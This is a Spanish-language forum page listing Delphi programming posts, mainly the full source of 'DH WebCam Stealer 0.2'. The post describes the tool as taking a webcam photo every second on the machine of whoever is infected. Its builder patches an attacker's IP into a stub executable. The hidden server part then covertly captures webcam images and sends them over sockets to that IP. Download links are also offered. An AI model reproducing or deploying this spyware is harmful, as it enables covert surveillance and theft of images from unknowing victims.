sEdit1: TsEdit; sRadioButton4: TsRadioButton; sGroupBox6: TsGroupBox; sListView1: TsListView; Guardar: TSaveDialog; Image1: TImage; sGroupBox3: TsGroupBox; Image2: TImage; sLabel1: TsLabel; procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure sListView1DblClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; toyaca: hwnd; const control = WM_USER; conec = control + 10; uno = control + 52; dos = control + 50; tres = control + 20; cuatro = control + 62; chau = control + 11; implementation uses tiny, full; FUNCTION capCreateCaptureWindowA(lpszWindowName: PCHAR; dwStyle: longint; x: integer; y: integer; nWidth: integer; nHeight: integer; ParentWin: hwnd; nId: integer): hwnd; STDCALL EXTERNAL 'AVICAP32.DLL'; {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); var dir: string; busqueda: TSearchRec; begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'matrix'; sSkinManager1.Active := True; dir := ExtractFilePath(Application.ExeName) + '/captures'; if not(DirectoryExists(dir)) then begin CreateDir(dir); end; ChDir(dir); FindFirst(dir + '\*.avi', faAnyFile + faReadOnly, busqueda); with sListView1.Items.Add do begin Caption := ExtractFileName(busqueda.Name); SubItems.Add(dir + '/' + busqueda.Name); end; while FindNext(busqueda) = 0 do begin with sListView1.Items.Add do begin Caption := ExtractFileName(busqueda.Name); SubItems.Add(dir + '/' + busqueda.Name); end; end; FindClose(busqueda); end; procedure TForm1.sButton1Click(Sender: TObject); begin sStatusBar1.Panels[0].Text := '[+] Recording'; Form1.sStatusBar1.Update; Form2.Show; toyaca := capCreateCaptureWindowA('Unknown_888', WS_CHILD OR WS_VISIBLE, Form2.Image1.Left, Form2.Image1.Top, Form2.Image1.Width, Form2.Image1.Height, Form2.Handle, 0); SendMessage(toyaca, conec, 0, 0); SendMessage(toyaca, uno, 40, 0); SendMessage(toyaca, dos, 1, 0); SendMessage(toyaca, tres, 0, longint(PCHAR('tt'))); SendMessage(toyaca, cuatro, 0, 0); end; procedure TForm1.sButton2Click(Sender: TObject); var fecha: TDateTime; fechafinal: string; nombrefecha: string; BEGIN sStatusBar1.Panels[0].Text := '[+] Stopped'; Form1.sStatusBar1.Update; SendMessage(toyaca, chau, 0, 0); Form2.Hide; if (sRadioButton3.Checked) then begin RenameFile('t', sEdit1.Text); end; if (sRadioButton4.Checked) then begin fecha := now(); fechafinal := DateTimeToStr(fecha); nombrefecha := fechafinal + '.avi'; nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll, rfIgnoreCase]); nombrefecha := StringReplace(nombrefecha, ' ', '', [rfReplaceAll, rfIgnoreCase]); nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll, rfIgnoreCase]); RenameFile('t', nombrefecha); end; end; procedure TForm1.sListView1DblClick(Sender: TObject); begin ShellExecute(0, nil, PCHAR(sListView1.Selected.SubItems[0]), nil, nil, SW_SHOWNORMAL); end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
140
|
Programación / Programación General / [Delphi] DH WebCam Stealer 0.2
|
en: 29 Noviembre 2013, 14:44 pm
|
Un simple programa para capturar fotos cada 1 segundo de la webcam en la maquina de la persona que infecten. Una imagen : // DH WebCam Stealer 0.2 // (C) Doddy Hackman 2013 // Credits : // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7 // Thanks to Cold Fuzion unit webcam; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, ComCtrls, sStatusBar, StdCtrls, sLabel, sRadioButton, sButton, sEdit, sGroupBox, sPageControl, acPNG, ExtCtrls, ScktComp, Jpeg; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; Image3: TImage; sPageControl1: TsPageControl; sTabSheet1: TsTabSheet; sGroupBox2: TsGroupBox; sGroupBox6: TsGroupBox; sEdit1: TsEdit; sGroupBox7: TsGroupBox; sButton3: TsButton; sTabSheet2: TsTabSheet; sGroupBox3: TsGroupBox; sGroupBox4: TsGroupBox; sRadioButton1: TsRadioButton; sRadioButton2: TsRadioButton; sGroupBox5: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sTabSheet3: TsTabSheet; sGroupBox1: TsGroupBox; Image1: TImage; sTabSheet4: TsTabSheet; Image2: TImage; sLabel1: TsLabel; sStatusBar1: TsStatusBar; Timer1: TTimer; Timer2: TTimer; ServerSocket1: TServerSocket; ServerSocket2: TServerSocket; procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); procedure ServerSocket2ClientRead(Sender: TObject; Socket: TCustomWinSocket); procedure Timer1Timer(Sender: TObject); procedure Timer2Timer(Sender: TObject); private { Private declarations } conexion: TFileStream; control: integer; public { Public declarations } end; var Form1: TForm1; cantidad: string; implementation uses full; {$R *.dfm} // Functions function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; procedure achicar(archivo, medir1, medir2: string); // Credits : // Based on : http://www.delphidabbler.com/tips/99 // Thanks to www.delphidabbler.com var bit3: Double; bit2: TJpegImage; bit1: TBitmap; begin try begin bit2 := TJpegImage.Create; bit2.Loadfromfile(archivo); if bit2.Height > bit2.Width then begin bit3 := StrToInt(medir1) / bit2.Height end else begin bit3 := StrToInt(medir2) / bit2.Width; end; bit1 := TBitmap.Create; bit1.Width := Round(bit2.Width * bit3); bit1.Height := Round(bit2.Height * bit3); bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2); bit2.Assign(bit1); bit2.SaveToFile(archivo); end; except // end; end; // procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'garnet'; sSkinManager1.Active := True; end; procedure TForm1.sButton1Click(Sender: TObject); begin try begin ServerSocket1.Open; sStatusBar1.Panels[0].Text := '[+] Online'; Form1.sStatusBar1.Update; end; except begin sStatusBar1.Panels[0].Text := '[-] Error'; Form1.sStatusBar1.Update; end; end; end; procedure TForm1.sButton2Click(Sender: TObject); begin try begin ServerSocket1.Close; sStatusBar1.Panels[0].Text := '[+] OffLine'; Form1.sStatusBar1.Update; end; except begin sStatusBar1.Panels[0].Text := '[-] Error'; Form1.sStatusBar1.Update; end; end; end; procedure TForm1.sButton3Click(Sender: TObject); var aca: THandle; code: Array [0 .. 9999 + 1] of Char; nose: DWORD; stubgenerado: string; lineafinal: string; linea: string; begin aca := INVALID_HANDLE_VALUE; nose := 0; stubgenerado := 'stealer_ready.exe'; linea := '[ip]' + sEdit1.Text + '[ip]'; lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]'; DeleteFile(stubgenerado); CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/servernow.exe'), PChar (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True); StrCopy(code, PChar(lineafinal)); aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (aca <> INVALID_HANDLE_VALUE) then begin SetFilePointer(aca, 0, nil, FILE_END); WriteFile(aca, code, 9999, nose, nil); CloseHandle(aca); end; sStatusBar1.Panels[0].Text := '[+] Done'; Form1.sStatusBar1.Update; end; procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var contenido: string; begin contenido := Socket.ReceiveText; if (Pos('0x3archivo', contenido) > 0) then begin conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)), fmCREATE or fmOPENWRITE and fmsharedenywrite); ServerSocket2.Open; end else begin if (Pos('0x3acantid', contenido) > 0) then begin cantidad := Copy(contenido, 11, length(contenido)); end; end; end; procedure TForm1.ServerSocket2ClientRead(Sender: TObject; Socket: TCustomWinSocket); var data: array [0 .. 9999] of Char; otracantidad: integer; begin Timer1.Enabled := True; while Socket.ReceiveLength > 0 do begin otracantidad := Socket.ReceiveBuf(data, Sizeof(data)); if otracantidad <= 0 then begin Break; end else begin conexion.Write(data, otracantidad); end; if conexion.Size >= StrToInt(cantidad) then begin conexion.Free; Timer1.Enabled := False; control := 0; Break; end; end; end; procedure TForm1.Timer1Timer(Sender: TObject); begin control := 1; end; procedure TForm1.Timer2Timer(Sender: TObject); begin try begin if ServerSocket1.Active = True then begin if FileExists('screen.jpg') then begin if (sRadioButton1.Checked) then begin achicar('screen.jpg', '400', '400'); Image1.Picture.Loadfromfile('screen.jpg'); end else begin Form2.Show; achicar('screen.jpg', '1000', '1000'); Form2.Image1.Picture.Loadfromfile('screen.jpg'); end; end; end; end; except // end; end; end. // The End ?
El servidor. // DH WebCam Stealer 0.2 // (C) Doddy Hackman 2013 // Credits : // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7 // Thanks to Cold Fuzion unit server; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, ScktComp, Jpeg; type TForm1 = class(TForm) ClientSocket1: TClientSocket; ClientSocket2: TClientSocket; Timer1: TTimer; Image1: TImage; procedure Timer1Timer(Sender: TObject); procedure FormCreate(Sender: TObject); procedure capturar_webcam(filename: string); private { Private declarations } public { Public declarations } end; var Form1: TForm1; target: string; webcam: hwnd; const control = WM_USER; conec = control + 10; conec2 = control + 52; conec3 = control + 50; conec4 = control + 25; chau = control + 11; implementation FUNCTION capCreateCaptureWindowA(uno: PCHAR; dos: longint; tres: integer; cuatro: integer; cinco: integer; seis: integer; siete: hwnd; ocho: integer) : hwnd; STDCALL EXTERNAL 'AVICAP32.DLL'; {$R *.dfm} // Functions procedure TForm1.capturar_webcam(filename: string); // Webcam capture based on : http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html // Thanks to Javier Par var imagen1: TBitmap; imagen2: TJpegImage; begin try begin DeleteFile('1.bmp'); DeleteFile('1'); DeleteFile(filename); webcam := capCreateCaptureWindowA ('Unknown_888', WS_CHILD OR WS_VISIBLE, Image1.Left, Image1.Top, Image1.Width, Image1.Height, Form1.Handle, 0); if not(webcam = 0) then begin SendMessage(webcam, conec, 0, 0); SendMessage(webcam, conec2, 40, 0); SendMessage(webcam, conec3, 1, 0); SendMessage(webcam, conec4, 0, longint(PCHAR('1.bmp'))); SendMessage(webcam, chau, 0, 0); webcam := 0; RenameFile('1', '1.bmp'); imagen1 := TBitmap.Create; imagen1.LoadFromFile('1.bmp'); imagen2 := TJpegImage.Create; imagen2.Assign(imagen1); imagen2.CompressionQuality := 100; imagen2.SaveToFile(filename); DeleteFile('1'); DeleteFile('1.bmp'); end; imagen1.Free; imagen2.Free; end; except // end; end; function regex(text: String; deaca: String; hastaaca: String): String; begin Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1); SetLength(text, AnsiPos(hastaaca, text) - 1); Result := text; end; function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := Length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := Length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; procedure TForm1.FormCreate(Sender: TObject); var ob: THandle; code: Array [0 .. 9999 + 1] of Char; nose: DWORD; todo: string; begin Application.ShowMainForm := False; ob := INVALID_HANDLE_VALUE; code := ''; ob := CreateFile(PCHAR(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (ob <> INVALID_HANDLE_VALUE) then begin SetFilePointer(ob, -9999, nil, FILE_END); ReadFile(ob, code, 9999, nose, nil); CloseHandle(ob); end; todo := regex(code, '[63686175]', '[63686175]'); todo := dhencode(todo, 'decode'); target := regex(todo, '[ip]', '[ip]'); try begin ClientSocket1.Address := target; ClientSocket1.Open; end; except // end; end; procedure TForm1.Timer1Timer(Sender: TObject); var archivo: string; envio: TFileStream; dir: string; begin try begin if ClientSocket1.Active = True then begin dir := GetEnvironmentVariable('USERPROFILE') + '\'; chdir(dir); if (FileExists('screen.jpg')) then begin DeleteFile('screen.jpg'); end; capturar_webcam('screen.jpg'); archivo := dir + 'screen.jpg'; try begin ClientSocket1.Socket.SendText ('0x3archivo' + ExtractFileName(archivo)); envio := TFileStream.Create(archivo, fmopenread); sleep(500); ClientSocket1.Socket.SendText ('0x3acantid' + IntToStr(envio.Size)); envio.Free; ClientSocket2.Address := target; ClientSocket2.Open; ClientSocket2.Socket.SendStream (TFileStream.Create(archivo, fmopenread)); end; except // end; end; end; except // end; end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
|
|
|
|